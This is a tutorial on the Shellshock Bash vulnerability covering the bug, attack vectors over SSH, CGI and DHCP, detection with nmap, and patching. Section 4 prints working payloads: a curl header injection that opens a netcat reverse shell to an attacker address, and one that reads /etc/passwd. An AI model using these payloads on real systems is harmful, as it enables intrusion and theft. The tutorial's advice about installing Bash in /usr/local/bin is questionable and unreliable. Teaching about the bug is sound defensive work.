1. Overview

In this tutorial, we’ll talk about the shellshock bug. It’s a vulnerability that affects GNU Bash from version 1.14 to those lower than 4.3. This bug affects Unix-based OSes, including Linux, BSD, and macOS systems. Additionally, since Linux powers many internet servers and IoT devices, these might also be vulnerable to this exploit.

2. The Shellshock Bug

The Bash program isn’t a publicly exposed Internet Service and it’s rarely targeted on the Internet. However, like many internet-facing services such as web servers, Bash can be exploited. This is possible through the use of OS environment variables which pass configuration values and dynamic content to Bash. The shellshock bug affects the Bash shell. The bug allows remote command execution in Bash from environment variables. This enables the attacker to run malicious scripts in a system or server. The shellshock vulnerability occurs when some special characters are included as part of an environment variable definition. An attacker can embed malicious code as part of the definition. Bash will then run the malicious code when the contents of the variable are called. Let’s look at this variable definition:
$ env x=' () {:;};'
This function declared in the environment variable is a legit function in the Bash shell. We can inject random Linux commands into this variable, and the Bash shell will execute them. If we add the bash -c option, when Bash is executing, it will start a new instance of Bash as a subprocess that can run new commands. A well-crafted string would use this option to become a more effective attack. This threat poses a significant danger because it’s easy to execute and doesn’t require any authentication making it possible to gain unrestricted access to run programs, reconfigure environment variables, take over machines, create backdoors, and steal data.

3. Exploiting Shellshock Bug

Attackers can exploit the shellshock vulnerability in many ways. For instance, they can use ssh, web servers, DHCP, and web applications on vulnerable servers. Let’s discuss these examples further. The ForceCommand feature in OpenSSH is a fixed command executed every time the user logs into the system. A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines. This action is invoked in the user’s login shell when the -c option is specified. The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands. Through this means, shellshock will allow anyone or any process to gain unrestricted shell access. Web servers may use the Common Gateway Interface (CGI) to handle a document request. When a web server receives an HTTP request, the CGI copies some of the information obtained from the request into the environment variables and further delegates the request to a handler program. If the handler program executes Bash or is a Bash script, it will receive and process the environment variables passed by the server. The Bash shell will execute the malicious code in the variable. Apache’s server documentation mentions that CGI scripts can be hazardous: the mod_cgi and mod_cgid module scripts which are written in Bash can spawn subshells. Unspecified DHCP clients can execute scripts that can modify the environment variables. These scripts can contain arbitrary commands provided by the user.

4. Examples of Shellshock Exploit Commands

Let’s look at some examples of commands written to exploit this vulnerability. For CGI scripts, here’s an example command:
$ curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi
192.168.y.y is the attacker’s machine’s IP address, where the listener is set on port 443. Another example is sending an HTTP request to get the file we pass:
$ curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"
If the Bash version hosting the system is vulnerable to the shellshock bug, the contents of /etc/passwd will be displayed. It’s worth noting that there are many variations in exploiting this vulnerability, e.g., the wopbot, a botnet that exploits the shellshock bug.

5. Testing if Our Server Is Vulnerable to Shellshock

Now, let’s look at how we can find this bug in our servers. Given that it only affects versions lower than 4.3, let’s first check the version we’re currently running:
$ bash --version
GNU bash, version 5.1.16(1)-release (x86_64-pc-Linux-gnu)
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
Next, if we’ve found a version lower than 4.3, then let’s test if our server is vulnerable:
$ env X=' () { :;} ; echo Bash Infected' bash -c 'echo Bash test.'
Bash test.
The example above returns “Bash test.”. This shows that this version isn’t vulnerable to shellshock. Otherwise, if we get “Bash Infected”, our Bash version is susceptible. For patched versions, we’ll get this output:
$ env x=' () { :;}; echo Bash Infected' bash -c "echo Bash test."
 bash: warning: x: ignoring function definition attempt
 bash: error importing function definition for `x'
 Bash test.
Subsequently, we can use nmap script to test for the vulnerability:
$ nmap -sV -p- --script http-shellshock 192.168.x.x
$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x
Let’s look at the output of these commands:
80/tcp open  http    syn-ack
| http-shellshock:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE: CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

6. Mitigating the Shellshock Bug

If we leave the Bash shellshock vulnerability unpatched, it poses a significant security risk to our systems. Patches are available to protect against this vulnerability, we need to get and apply them. First, for  Debian-based distros, let’s upgrade the version of the Bash installed in our server:
$ sudo apt-get update
$ sudo apt-get install --only-upgrade Bash
Similarly, for RedHat-Based distros, let’s update Bash:
$ yum -y update Bash
Thirdly, it’s recommended that Bash be installed in /usr/local/bin. This is because if it’s installed in /bin/bash, it can be modified and invoked by curl. And lastly, we should disable any CGI scripts that call on the Bash shell. Changing our default shell doesn’t solve the problem, as scripts can be specified to run using the Bash shell.

7. Conclusion

In this article, we looked at the shellshock bug. We learned that this vulnerability is exploited in the following ways: the ForceCommand feature in ssh, through the CGI scripts of web servers, and unspecified DHCP clients. Next, we saw examples of shellshock attacks using an HTTP request and curl. Finally, we discussed how to identify the shellshock vulnerability and how to mitigate it.
Comments are closed on this article!